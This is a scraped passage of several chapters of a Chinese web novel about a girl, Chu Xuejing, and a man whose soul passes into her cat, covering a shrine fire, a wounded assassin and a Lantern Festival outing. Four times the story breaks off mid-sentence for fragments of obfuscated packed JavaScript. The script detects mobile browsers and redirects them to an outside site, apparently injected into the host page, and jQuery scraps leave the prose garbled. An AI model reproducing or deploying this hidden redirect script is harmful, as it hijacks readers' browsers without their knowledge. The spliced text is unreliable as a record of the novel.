春茵咬紧牙,终是在少女的背影快要消失在视线中时唤了一声,“小姐!” 除去风声凛然,眼前唯留下空荡荡的庭院,再不见一丝人影。 秦合欢在一旁静静欣赏完这场闹剧,春茵失魂落魄地瘫坐在原地,秋芝垂眸跪着,两人命运已定,悄然等待着乔恩兰的处置。 她眸光一闪,在乔恩兰开口前先一步上前,肃声道:“夫人,在下有要事要报。” …… 今日是除夕的第二日,按以往风俗,应于祠堂祭祖礼拜。 从乔恩兰院中出来后,褚雪镜径直回了听雪院。 她房中余毒未清,只得先将金雪安置在空的偏房,随即招呼了两个清扫婢女去收拾,再铺上地衣以防金雪误舔,休整一番后,乔恩兰便派人来叫她去祠堂。 忠远侯府礼节繁缛,除夕前后皆要祭祖。褚雪镜到的时候褚家一行人已然都到位,然忠远侯褚回泽和乔恩兰竟脸色难看,神色忡忡,似是遇见了什么棘手事。 褚雪镜不动声色地行礼问好,“父亲、母亲。” 褚回泽见她,面色微霁,问:“宫里住得可好?可有被为难?” 她宿在皇后宫中几乎人尽皆知,谁又敢说当今皇后的不是呢?褚雪镜轻轻摇了摇头,“皇后娘娘待女儿十分和善,父亲不必忧心。” 此番一事,外头估计又传得满城风雨。可惜无人在意褚雪镜的想法,只要萧胤玦默认、欢喜便都是好的。 退一万步来说,即便萧胤玦反悔,他也不会受到太大的影响——而对忠远侯府来说,太子的青睐远比一个不知亲生父母是谁的养女重要。 这般简单的道理,她竟直到死才明白。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12943409|134153||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >祭祖之事多以宗族男丁为主,忠远侯问过她后褚雪镜便退到女眷中,候在各家主母之后。 褚玉霜颜色亦有些阴沉,尽管她如往常一般恪守本分地隐藏自己的存在,可散发出的晦暗气压只要稍加注意便无法忽视。 但褚家老三的妻子孔令筝和褚灵秀皆眉开眼明,想必是忠远侯府的家事;褚朗面上却不见忧愁,那么…… 是与他们背后筹谋之事有关。 褚雪镜理了理袖角,祭祖的长乐奏起,堂前主持高声念着祭文,子孙一一祭拜。 她轻垂下纤长睫毛,这种事轮不到她们,只消等着捱过作罢。 【我天!我天!我天!】 男人惊溃的声音穿过祭乐清楚在脑中响起,褚雪镜怔然,睫羽颤了颤,悄然捏紧了袖缘。 卫北临不是入睡才会穿成猫么?他才醒了不过一阵,怎会突然又…… 【完了,原主竟然真的有病!】他还没从突如其来的震惊缓过神来,心声也惊惶不已,【怎会如此!!!】 【我平常跑跑跳跳啥事儿都没有啊!】褚雪镜能想象到他操纵着猫的身体焦躁走来走去的模样,【怎么说有病就有病了?!怪不得我一觉睡这么久都没醒,搞半天是晕过去了!】 褚雪镜:“……” 【按照原著推算,我差不多还有四年寿命,然后死在回北境的路上,】卫北临在心中道,【冷静!】 这两个字像是当真平复了他的心情,褚雪镜感知到他波动的情绪被压下,强迫自己理智分析,【我得先知道得的什么病,在古代是绝症的病在现代说不定能治呢。】 他诡异地停顿了一下,【我在现代也不学医啊。】 【不对,】他又道,【什么病会寻常跟没事人一样然后突然昏睡啊?】 他醒来时整个卫府都在围着他转,甚至惊动了宫里,景仁帝遣了太医来治,他能短暂地苏醒便是因为喝了太医的药。 可惜没能坚持多久他就又昏睡过去。 那病来势汹汹,他一回到自己体内只觉得浑身虚软无劲,连话都说不出来几句,别说问清楚自己到底怎么了,现在成了猫除了干着急也想不到旁的法子。 【这又是什么地方,】他倒是心态好,惊乍之后很快就调整好心情,开始打量周围陌生的环境,【没来过这地方,褚雪镜呢?】 他还有闲心关心旁事,【要害金雪的凶手找到没有?要是我四年后真死了,说不定还能和金雪共用一个肉///体呢。】 他忽然愣了一下,就连心声都变得很轻,【褚雪镜更不能死了。】 32.娴和 呜吱—— 木门被推开一条细缝,圆圆茸茸的小猫爪悄然从门上收回来,卫北临探了探头,猫瞳小心地望着门外的景象。 “快!快!”有婢女着急地招呼着,“端盆拿水!去祠堂!” “快点!祠堂走水了!” 祠堂?小猫耳朵抖了抖,多数人家都是除夕前后祭祖,大年初一祠堂便着火了? 若是忠远侯府人恰好在祠堂,岂不是…… 火。 他突然觉得有些喘息不上来,门外的小厮婢女都忙成热锅上的蚂蚁,无人发现偏院的黑灯厢房中有一只矮胖的身影一掠而过。 他常常都宿在褚雪镜房中,对忠远侯府里的排屋构造并不熟悉,但好在猫鼻子暂且能当狗鼻子用,循着火光和燃烧的硝烟气,倒还真让他摸到了这府里的祠堂。 本应寂静祥和的安宁之地此时一阵骚乱,漫天火色中吵叫声尖叫声不绝于耳。 混乱之中,卫北临伸直了脖子瞪圆眼睛去看,也没瞧见褚雪镜的身影。 他受制于猫身,不能靠得太近,否则惹人显眼不说,要是金雪在他附身时受了伤,褚雪镜免不得担心落泪,他也愧疚。 好端端的祠堂为何会着火呢?秋冬干燥虽易起火,可总要有起火源,难道是祭祖烧香……? “金雪。” 女人轻软的声音从头顶传来,卫北临一怔,还没反应过来已经被拥进了她温热的怀里。 她的指腹有些凉,落在金雪皮毛上的力度很轻,携着几分微薄的火焰气,“这里危险,怎么偷跑出来了?” 她语气嗔怪,但没有责备的意思,亲昵地点了点小猫的鼻尖,“下回再乱跑便克扣你的饭食。” 卫北临默默将爪子搭在她指节上。 骚瑞呀金雪,你少吃点对身体好,都胖成球了。 褚雪镜下意识捏了一把它的脸。 这人。 做猫的时候对气味的敏感远超人,卫北临吸了吸鼻子,嗅觉里除了褚雪镜身上的温香和她沾染的火焦气外,还有一丝淡淡的、奇怪的锈味。 像血腥气。 几乎是联想到的瞬间,猫儿尖耳立起,瞳孔竖成一条黑线,随之而来的却是褚雪镜安抚地轻揉。 有血的味道,是褚雪镜受伤了么? “姑娘跟我这么久,不出来见上一见么?”褚雪镜忽然轻声道。 一道疾风毫无征兆地从她耳边擦过,带起一缕青丝微扬,褚雪镜掀了掀眼皮,眸光浅浅落在掉落在不远处的箭镞,发黑的铁头上贴着已经干涸的斑斑血迹,边上却有两滴鲜血。 【我他大爷!】卫北临被这突如其来的箭风吓得炸毛,【谋杀啊!】 他来这个世界这么久,勾心斗角的明枪暗箭没少见,真枪实剑是头一回见啊! 【快跑啊!】卫北临想叫两声引起褚雪镜的注意,又怕猫叫惹怒掷箭的人帮了倒忙,只能无力地抓了抓她的袖袍,【还不跑咱俩别都英年早逝了呜呜。】 褚雪镜恍若未觉般岿然不动,空中的铁锈味愈发浓郁,她却只是好整以暇地摸着小猫的脊背,那只箭镞静静地躺落在她眼前,她却仿佛不曾察觉危险。 血腥味盖去了那人原本的气息,卫北临扒着褚雪镜的手臂轻轻嗅了嗅,他在她怀里能闻得很清楚,血不是褚雪镜的,而方才那只与褚雪镜面颊贴擦而过的箭镞竟也没有在她身上留下伤痕。 许久,久到天边的火映出的霞光都要散了,一个陌生女人的声音才从身后传来。 “你认识我?” “谈不上认识,”褚雪镜淡淡道,“昨夜有过一面之缘罢了。” 话音未落地,冰凉的刃悄无声息贴上女人雪白的颈,挤压出一道红痕。 怀里的猫忽地沉默跳起,锐利的尖牙就要咬到那人的手臂,那人下意识收手去挡,猫却转而抬爪朝她一刮,眨眼间手背便渗出鲜血,猫爪留下的抓痕鲜红可怖。 “金雪!” 褚雪镜搂住他的背将他拉回臂弯,猫儿戾气未消,弓着背死死盯着陌生女人,猫瞳中交错着警惕和惊疑,落在褚雪镜小臂的爪子却下意识收回了指甲,乖乖圆圆地用软垫扣着。 【忠远侯府的侍卫怎么都跟死了一样?!】男人动了怒,心声也带着躁气,【天天吃干饭吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12978437|134153||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这都发现不了?!】 “好了金雪。”金雪从到她院中从未这样被刺激过,便是卫北临的灵魂恐怕也会让金雪留下后遗症,褚雪镜顺着毛抚他的脑袋和脊背,他才渐渐情绪平稳下来,“没事了,没事了。” 娴和甩了甩手,毫不在意地甩落几滴血珠,“倒是养了只护主的好猫。” 眼看猫儿又要呲牙威吓,娴和轻呵一声,“我还没把你怎么样,这猫就这么气,但凡……” “姑娘。”褚雪镜的嗓音其实很轻,却轻而易举止住了她的话头,“你不处理一下伤口吗?” 娴和的状况并不好,她虽穿的是漆黑的夜行衣,身上浓重的血腥味和隐隐月光照出的苍白唇色却无不彰显着她的虚弱。 她虽在和褚雪镜说话,可面颌紧紧收着,一如她绷紧的神经。 月光轻盈地洒落,宛若一层朦胧的白纱,两人隔着月色相望,少女的脸上没有丝毫芥蒂,唯独脖间那道压出的红痕格外显眼。 娴和张了张唇,鬼使神差道:“你父亲在追杀我。” 闻言抱着猫的少女只是轻轻笑了笑,“我知道。” 娴和眼皮一跳,吐出的字都有些虚浮,“你知道?” “我还知道,你不会伤害我,对吗?” 她如玉的面容浅笑晏晏,分明她才是那个手无之力为他人刀下鱼肉的脆弱者,此刻却有着无比坚定的自信。 娴和沉默地看着她,她已经流了太多血,几乎快要没有力气了,手中的利刀似乎也要因为这句轻语无声无息掉下…… 不远处传来的凌冽杀气却如同警钟敲醒了她的神思,她下意识握紧手中快要滑落的刀柄,本有缓和的神情霎时变得肃杀凌厉起来。 卫北临不知道褚雪镜为何笃定这个女人不会伤害她,但她这样说,总该有她的理由,他只能一瞬不瞬地盯着面前这人的动作,以防她忽然暴起伤人。 他不知原委只想护她,褚雪镜轻弯了弯眼尾,既是好心,她也不是不识好歹的人。 她微微摩挲着小猫头,抬眼对伤痕累累的女人道:“跟我走吧,我能帮你逃出去。” …… 33.笨 暖色烛光中,少女微仰着下颌,露出脆弱的脖颈,铜镜里,光影摇晃,映出她精致的玉容。 冰凉的药粉轻洒在那道红痕上,她无意识瑟缩了一下,却被褚玉霜沉默地按住颈后,“二姐,别乱动。” 她温热的呼吸近在咫尺,褚雪镜抖了下睫毛,偏过眼。褚玉霜的视线不总是温和无害的,譬如此时她站在自己身前,紧扣着她的后颈,连她轻微起伏胸膛的幅度都看得一清二楚。 “喵。” 守在脚边的猫儿歪头叫了一声,褚雪镜颈前轻滚,道:“快些包扎吧。” 褚玉霜眼神晦涩一瞬,又眨眼恢复成从前的顺从的模样。她眸色不着痕迹地从地上碍事的猫身上掠过,松开褚雪镜细腻光滑的后颈,从妆台上拾起绢布,仔细将伤处缠好,“三日内此处不要碰水。” 褚雪镜抬眼看向镜中裹缠着白布的细颈,褚玉霜善医之事她前世便知晓了。 她被“抱错”后阴差阳错结识了一位江湖名医,是故暗中随其学治病救人,与萧胤玦结缘亦是因此。 她以“霜岚”之名行侠仗义,广结善缘,在她假死之后,她是霜岚的风声意外走漏,受过她恩惠之人皆忿忿难安。 【于是纷纷将矛头指向了褚雪镜,褚雪镜为当太子妃逼死亲妹传遍整个金陵。】卫北临靠在褚雪镜腿边,他不是第一次目睹“善良女主”和“恶毒女配”同框,可每一次瞧见,似乎心性都有所变化,【褚雪镜真会为了萧胤玦害女主吗?】 【如果她本就不喜欢萧胤玦,怎么会为了男主去害人…?】他骤然联想到不久前褚雪镜对秦合欢说的话,【女主还故意让褚雪镜和男主见面,到底是谁害谁啊?】 他隔着裙裳紧紧贴着褚雪镜的小腿,连他自己都未发觉他对褚雪镜的信任远超本应有的关系,【要是有个机会能问问褚雪镜就好了。】 问问在她眼中,男女主究竟是怎样的人,原著中她做的“恶行”又是如何的。 孺子可教。 褚雪镜与镜中人相视,水眸中闪过一丝转瞬即逝的笑,随即落下眼皮,轻声道:“多谢三妹。” “姊妹之间,何必言谢。”褚玉霜走上前,目光移向铜镜中脖颈缠着绢布的可怜人,矮身让自己也出现在镜里,“二姐还有别处受了伤么?” 褚雪镜眼瞳轻动,对上褚玉霜温润的杏眼,“…什么?” 镜中细瞧,她才看清那双眼眼尾上挑,只有故作乖顺时才圆钝若春杏,实则弯如柳叶,含笑时锋利尽显,非淳善之相。 “我在房中闻见了血腥味,”她嗓音如轻风,似是不想惊动落雪,“但不是二姐身上的味道。” 褚雪镜毫不避讳地从镜中对上她略带审视和侵略的视线,疑惑地眨了下眼,“三妹这是什么意思?” 她蹙了蹙眉心,忽然明白了她话中的暗意,似是不喜她审犯人一般的语气,神色也有几分不满,“你怀疑我窝藏了那贼人?” “不是的,”褚玉霜垂眸,掠过身前坐着的女人光洁的肩颈,“我只是担心二姐被埋伏。” “那你叫人来把我房中搜一遍好了。”褚雪镜从妆台前起身,转头睨向褚玉霜,“我还不曾质问你,为何昨夜将我丢在梅园,你倒先来怀疑我了。” “难不成你觉得祠堂的火是我使人纵的?” 即便是竖眉瞪眼,美人做起来也是别有一番风味,她这个二姐总是作得一副精明清高的模样,平日里端坐在那像只玉菩萨,惹急了又像只张牙舞爪的漂亮猫咪,实在叫人心软。 褚玉霜抿唇笑了笑,“二姐心中对我有怨,怎的先前不说?” 【这女主怎么跟有病似的,】卫北临逐渐看不明白两人的发展,【褚雪镜都生气了她还笑得出来?】 褚雪镜冷眼看着她,若是此前她还能怀疑褚玉霜是憎恶她霸占了原本属于褚玉霜的位置,可现下看来…… 褚玉霜分明是把她当做什么好看的玩意儿逗弄,嗤她蠢笨,又怜她被蒙在鼓里,才总是说一些似是而非的话。 从她脸上得到惊疑、恐惧、慌乱的情绪,能让她感觉到满足和趣味。 褚雪镜面色冰寒道:“你故意将我引到梅园深处,意欲做何?” 褚玉霜却眉头一压,不解问:“太子殿下说你生他的气不肯见他,才特意托我引荐,难道二姐没见到他么?” “引荐?”褚雪镜嗤了一声,“那梅园里漆黑一片、骇人得很,你…!” “二姐,”褚玉霜上前一步,神色戚然地望着她,叫褚雪镜下意识止了声,“储君之命,我不敢不从,委屈二姐了。” 褚雪镜微顿,下颌咬紧,退后半步,有些警惕地看着她,“你同太子哥哥很熟么?” 褚玉霜眸色不明地在她面上逡巡两眼,故意模糊了意味,“点头之交。” 点头之交?自褚玉霜归府后金陵大小宴会都是随褚雪镜一同出席,便是与萧胤玦相见也是乘了她的东风,无论如何都谈不上点头之交四字。 暖光中少女娇颜敌意更浓,“你与他私下见过面?” “二姐,”褚玉霜并不正面回答,“我不会和你抢什么。” “呵。”褚雪镜轻笑一声,却是俯身将脚边的猫抱了起来,转身走向床帐,“我占了你的身份十七年,你就不怨我么?” 她尾音轻飘飘落下,话中没有悔恨与愧疚,只有浓浓的讥讽。 便是怨她又能怎样?命不由人,怪得了谁呢。 褚玉霜望着她瘦削的背影,在她们交换身份那年,她曾短暂地、单方面的见过她。 第一次她七八岁,褚雪镜被细心养得粉雕玉琢,可爱得像个糯米团子,身边总是簇拥着各种侍女仆从,而她脸色干瘪蜡黄,与众星捧月的她相比像从乞丐堆里刨出来的野孩子。 可惜她们再一次见面,褚雪镜落进冰湖不省人事,乌发被湖水打湿粘黏在她白嫩的小脸上,唇色煞白,呼吸微弱得几乎要听不见…… 那之后,褚雪镜便代替自己成了忠远侯府的病弱二小姐,而她…… 褚玉霜敛去几乎要被她遗忘在记忆深处的画面,道:“二姐的伤已经包扎好,我便不叨扰了。” 她朝外走了两步又停下,像是忽然想起了什么,“最近府中不安宁,二姐身边还是安排两个婢女得好。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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即便眼下她身上迷雾重重,可人的本性不会变。 娴和靠着玉枕看着她的神色,总算说出了第一句话,“你心悦萧胤玦?” 她直呼当朝太子大名,脸上没有一丝一毫敬意,甚至还有掩藏不住的不屑,“你要和褚玉霜争太子妃之位?” 褚雪镜:“……” 少女的沉默却好像一种无声的肯定,娴和嗤了一声,震得她胸口的伤一痛,又是一阵冷汗。 褚雪镜拧眉将她按了回去,“别乱动,不要命了是不是?” “你与这种人为伍,算我看错了人,”娴和仰头紧紧盯着她,她在发烧,喷洒出的气息也是滚烫的,“又何必要你救。” 她倒是不知道娴和竟然如此嘴毒,褚雪镜几乎要被她气笑了,“姑娘,您命悬一线了,少逞强行吗?” 【就是啊,】被遗忘在一旁的卫北临在心中幽幽道,【这些女人怎么见褚雪镜都跟饿狼似的,这么关心她的感情生活啊?】 【什么心悦不心悦的,】他语气带着一股不易察觉的酸味,【褚雪镜一会儿一副样子,怕不是真的喜欢男主不好意思承认才和我那么说的。】 【两情相悦还招惹我做什么?我卫北临是什么很贱的人吗?】 你不是,你是很笨的猪。 34.待补 “你的伤不能再拖了,”虽说服下续命丹吊住了她一口气,可毒在胸口,拖的时间越久只会越难痊愈,偏生中毒的人漫不经心,褚雪镜不禁蹙眉,“若是我装病寻医,你暴露的风险反而更大……” 褚玉霜说的话显然是已经怀疑她房中私藏了纵火“歹徒”,她虽随了她的心意演了一出恼怒堤防的戏码,并不代表褚玉霜一行人完全相信,此时她要使计借医,反而是给了她们抓住娴和的把柄。 “不必。”娴和扫了一眼她担忧的神色,不在意道,“我自己的身体,我有分寸。” 再无论如何也不该用自己的性命做赌注,娴和说得笃定,褚雪镜只得道:“你冒险留下来,是想做什么?” 总不能无缘无故赖在她这里,连伤都不治就为了问她什么心悦不心悦的吧? 娴和抬起眼,白如纸的脸色人见人骇,仿佛风吹便能要了她的命,但她的目光却沉如黑墨,宛如裹着千钧重。 “褚二小姐,”这是两人见面以来,娴和第一次有姓有身份地称呼她,“你好像很相信我?” 且不说她与褚雪镜是第一次打照面,即便如褚雪镜所言她认出自己是昨夜夜宴的舞女,那也不足以让她帮自己逃出生天——换做任何人,都会将她交出去以自身的安危为重。 一个来历不明的舞女,眨眼间变成身受重伤的纵火犯,褚雪镜就这样毫无防备地信任她,甚至放任自己利用她做局。 是善良得天真,还是别有所图? 褚雪镜不意外她会问此,却不急着给她回答,眼波微转,视线便似雪落般落至不远处趴着的小猫上,轻声道:“还未询问姑娘名姓。” 娴和眼眸微狭,似是摸不准她避而不答的缘由,随口道:“傅子娴。” ——“我是孤儿,无父母取名姓,旁人都唤我娴和。” 一冷一温的嗓音仿佛穿过时间洪流在这一瞬间重合,褚雪镜垂首掩去眼角泪光,如今哪个时期的她在说谎都不重要了,傅子娴也好,娴和也罢,总归都是一个人。 娴和看着她轻轻颔了颔首,红唇微动,“我也很奇怪,傅姑娘看起来是防备心很重的人,为何会在无故重伤的情况下还故意留在我院中,感觉傅姑娘也很相信我呢。” 娴和:“……” 事实证明,身体柔弱的人不代表她不伶牙俐齿,娴和挑了下眉,她明明方才还是一副半死不活的模样,眼下竟奇异地自己撑坐了起来,好整以暇道:“二小姐不好奇我究竟是什么身份?” “沧州来的舞女。”褚雪镜不假思索答道,“沧州人灵地杰,进献来的舞女自然不凡。” 她倒是会钻空子,半点话也套不出来。娴和意味不明地笑了一下,幽幽道:“你在查褚玉霜和萧胤玦,对否?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13025400|134153||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 褚雪镜缓缓掀起眼皮看着她,容色似乎冷了两分,不说话。 娴和却愈发起劲,三两句话便将褚雪镜近来做的事抖落了清楚,“你去鸿玉坊,便是为了探萧胤玦底细,我说的又对否?” 沧州舞女不过进金陵几日,娴和却能将半月中的事了如指掌,褚雪镜从榻边站起,垂眼看着她,“还有呢?” 她还知道什么呢? “还有…?”娴和咂摸着女人的反应,俗话说越宁静越是暴风雨前,她试探着开口,“昨夜宴上那个说自己是镇北王世子外室的舞女,其实是冒充的你…对否?” 卫北临悄悄从褚雪镜小腿后冒出一个脑袋。 这女人什么来历?竟然连这都知道? 褚雪镜倏地笑了一下,笑得却不真切,一直温和的容颜此刻总算流露出几分冷漠凌厉,“傅姑娘,我从前与你无冤无仇,你说这话意义何在呢?” “威胁我吗?” 娴和耸了耸肩,指了指自己胸口未拔的毒箭,“我自身难保,怎么会威胁二小姐呢?” 褚雪镜只用那双静如寒潭的眼睛看着她。 娴和捂住胸口的伤,直起脊背将身体探向面无表情的少女,仰头吐出几个字。 “我能告诉你,我还知道,你想查暗市,却无从下手。” “对否?” …… 35.上元 正月十五,上元节。 “雪镜,玉霜,过会儿你俩帮衬着些,莫要走散了。” 褚朗坐在马车外不断叮嘱着,车内只偶尔传来两声懒洋洋的回应,他也不觉疲惫。 这些日子来发生的事情太多,让他这个做大哥的不得不多唠叨些,更何况上元节虽是个好日子,可城中人来人往多为纷杂,警惕些总没有错。 马车中,褚雪镜与褚玉霜相对而坐,褚玉霜边上仍是跟的莲蕊,褚雪镜身边却是一个生面孔。 “生面孔”看起来年岁不大,十三四岁的年纪,据说是褚雪镜前两日出门在巷堆里瞧她可怜随手捡回去的。 乔恩兰虽不看好,可谁让府中她遣去的婢女接二连三出了问题,即便她心中不满,也无法将这位“生面孔”赶出去。 马车摇摇晃晃地走着,那生面孔对褚雪镜倒是殷勤得很,一会儿帮她腿上搭棉毯,一会儿用小火炉给她煮热茶——半个时辰都没有的路程被她忙活得像跋山涉水一般,瞧得莲蕊暗自咬牙,又不敢轻举妄动。 毕竟褚雪镜不在意她多事,不代表褚玉霜就能容忍自己为了攀比而折腾她。 褚玉霜不动声色地看着三人,莲蕊那点心思都写在脸上了,于是抿唇笑着打破僵局,“这小婢子对二姐十分上心,总比先前的好上许多。” 莫名其妙地又去提之前的人,褚雪镜轻呷着手中的热茶,青冬煮茶很有一手,端给她手里的茶水温度正好,又不失茶香。 她静静将手里的茶饮尽,才随口回了一个字,“嗯。” 青冬摊开掌心,一双杏眼亮晶晶地看着褚雪镜,等着褚雪镜将空瓷杯放到她手里。 褚雪镜只笑看她一眼,径直倾身把瓷杯放在几案上。 小婢女宛如璨然星子的眼睛霎时暗淡下去,像一只失去骨头的幼狗,却又很快振作起来,作势要做点别的好让褚雪镜在马车里坐得更舒适。 “好了,”褚雪镜揉了下她的脑袋,温声道,“别忙活了,休息会儿吧。” 青冬的头发很短,发尾参差不齐地刺在脖颈边,晃眼看像个毛头小子,她呲牙对褚雪镜笑,“青冬不累。” 话虽如此,但她竟当真不做什么了,只睁着双圆眼像举了两只灯笼一般儒慕地望着褚雪镜。 一主一仆气氛和谐,对坐的褚玉霜脸色却有些黑,莲蕊惴惴不安地坐在她身边,车中色暗瞧不太真切,但小姐身上无形的低压叫人无法忽视。 莲蕊吞了吞唾沫,“小姐……” 可惜她还没来得及说完全,自家小姐便先开口,压过了她蚊蚋一般的嗫喏,“春茵被母亲罚去做浣洗,那是个苦差事,她没找二姐作妖罢?” 车内烧了小炉,到十五了天气也回暖了些。 褚雪镜正掀帘望着车外的盛景,上元佳节万家掌灯,人人皆盛装出行,摊贩游人亦容光焕发,街道上热闹非凡,倒比宫里的除夕夜宴要更有烟火气,少了些压迫感和桎梏。 前世今年的上元节她在做什么?褚雪镜落下厚帘,闻声转眸看向对座的褚玉霜。 没了外界的光源,女人的面容隐在黑暗中,褚雪镜只偶尔能借地上矮炉的火光看清她微亮的眼珠。 她想起来了,这年的上元节…… 她轻轻垂落眼帘,褚玉霜故意当着青冬的面提及春茵,不过是为了让青冬自卑反思,可惜青冬心性单纯,她这是一把心计使错了人。 褚雪镜欲启唇敷衍两句,谁料一旁的青冬却道:“春茵是从前侍奉小姐的婢子么?” 说到底是个流浪野丫头不懂规矩,主子说话也敢插嘴。莲蕊拧眉低斥,“主子说话哪有你插嘴的份儿!” 青冬下意识收起下颌警惕地看向她,算上褚雪镜捡她回去的那天,她才跟在小姐身边三天。从前她日日混于市井,连最起码的温饱也无法保证,如今乍做了官家小姐的奴婢,即使尽量收敛了市井气,细枝末节还是比不上大户人家府里的家奴有分寸。 她紧紧抿住唇,小心翼翼地转着眼珠去瞧褚雪镜的脸色。褚雪镜待她很好,要不是她在巷子深处的雪堆里找到她,她就要被冻死了。但褚雪镜身体不好,她只想认真照顾好她,旁人如何与她无关—— 但她也不想因为她的粗鲁无礼让褚雪镜丢了面子。 “小姐…”车内静若寒蝉,青冬捏了捏衣角,回想着从前流浪时瞧见过的贵女身边婢子的模样,挪了下臀部要跪下去,“奴婢…” “无碍。”褚雪镜拉住她的小臂,微微用力制止了她的动作,“春茵确是从前侍奉我的,只是她心思不纯,被我打发了去。” 好一个心思不纯。 褚玉霜眯了眯眸,要说褚雪镜是菩萨转世呢,大街上随便捡的一个乞丐也能护成这样,反倒是自她回府之后对她总是不冷不热,仿佛她是什么无关紧要的人物。 为什么会这样呢?褚雪镜占了她的身份十七年,难道不应该对她感到愧疚么?她在府中形如透明,她就不曾怜爱过自己两分么? 褚玉霜眸光幽暗,还想再说什么,马车却已然慢了下来,车外传来褚朗毫无察觉的声音,“花灯会便是这里最盛玩,收拾好就下来罢。” 握着自己小臂的手松开,青冬心领神会,率先撩起车帘跳了下去,“小姐,奴婢接着您。” 褚朗抱臂站在一旁,雪镜院里闹出的害猫一事他也有所了解,秋芝跟在褚雪镜身边多年却玩忽职守,春茵又是立功心切叫人心生不喜,因此褚雪镜将两人皆遣走不无道理,只是她府中家奴不选,一声不吭从外面捡了个乞丐回来…… 褚朗有些嫌弃地扫了一眼青冬瘦弱的身板,这小乞丐长年风餐露宿,食不果腹,明明已到了及笄的年纪,因着营养不良看起来却只有十三四岁,面黄肌瘦的,也不知道和雪镜是谁照顾谁。 青冬察觉到他暗含挑剔的视线,趁褚雪镜还没出来悄悄瞪了他一眼。 褚朗:? 他还没发作,那头马车车帘便被掀开一角,褚雪镜雪蓝色的裙裳出现在视线里,褚朗一口气不上不下,便见青冬狗腿地凑上去伸长了胳膊,像是生怕磕着碰着里面的人,等着褚雪镜扶着她的胳膊借力下来。 褚朗额角跳了跳。 算了,看在她这么狗腿的份儿上,跟一个土乞丐计较什么。 褚雪镜下了马车便见褚朗黑着脸杵在那,俊脸上还有几分未散的怨气,不由道:“大哥,怎么了?” 你捡的小乞丐瞪我! 褚朗瞥了一眼她身后正从马车中下来的褚玉霜,到底还是把告状的话咽了回去,憋屈道:“没什么,脸冻着了。” 青冬默默往褚雪镜身后缩了缩,褚雪镜若有所思地点了点头,没拆穿。 “咳咳。”褚朗欲盖弥彰地假咳两声,正了正自己的衣襟,“走吧。” 花灯会顾名思义,一整条街道都挂着明亮的花灯,样式精致新奇,人潮中摊贩的叫卖声和行人的交谈声交杂着。褚朗仗着个高眼尖,遥遥一指,“那家卖的面具好看,我给你们买两个戴戴如何?” 话落也不管身后的两个妹妹答不答应,自己穿过人//流直奔那小摊而去。 褚雪镜领着青冬跟在他后面,她依稀记得前世今年的上元节褚朗并不在,只有她和褚玉霜带着婢女来了这花灯会。 毕竟褚朗纨绔盛名不亚于某世子,上元节这种吃喝玩乐的好日子免不得被其他膏粱子弟叫去吃花酒,不知这一世他为何推了那些狐朋狗友,反倒是领上她和褚玉霜了。 “二妹,这只骨蝶适合你。”褚朗选了一只银色半面、状似蝶翼的假面递给褚雪镜,满脸期待地看着她,“你快戴上试试。” 冰冷的银质感落到手心,褚雪镜抬眸看他,男人目光纯粹,似乎只是为妹妹选了一只漂亮的面具而已。 她弯唇笑了笑,将银蝶面具罩在了面上。 少女今日恰好穿着雪蓝相间的衣裳,搭着雪色的厚氅,蝶面几乎遮住了她大半的面容,只露出一双水光潋滟的泠泠桃花眼和一小半玉般的美人弯,非但没有遮掩她的风华,反添了几分神秘古韵,叫人更想揭开面具一探真容。 “这位小姐戴上真是绝色风华,合适极了!” 摊贩吹捧赞赏的声音响起,褚朗怔了一瞬,旋即遮掩似的从摊上又寻了一只玉兔拿给褚玉霜,“三妹。” 褚玉霜恍若未察,穿过褚朗的身形直直望着站在他身边已经戴上面具的褚雪镜,直到褚朗抬手在她眼前晃了晃,她才回过神来,接过褚朗递来的兔子假面,腼腆地笑了笑,“多谢大哥。” 虽说褚玉霜寻常也是这副谨小慎微的样子,褚朗挠了下脑袋,但他怎么觉得她方才笑得那么敷衍呢? 反而是看褚雪镜的时候—— 褚朗视线又落回褚雪镜身上,她身边那个小乞丐正自告奋勇地要为她系上绑带,即便小乞丐手脚粗笨,她也半分不恼,那双轻松令人沦陷的双眼轻轻弯着,是一种无声的纵容。 青冬捣鼓半天,总算绑了一个稍微满意一点的结,轻快道:“好了,小姐。” 褚朗看着那一坨乱七八糟的绳结陷入沉思。 “大哥?”褚雪镜见他发愣,轻声唤他。 褚朗干笑一下,随便拿了一只青面獠牙罩在脸上,爽快地付了银钱,“走走走,后面好玩的多着呢!” 他先一步走近人群带路,褚雪镜看着他略有些慌张的背影,拢了拢手心里的小汤炉,慢步跟了上去。 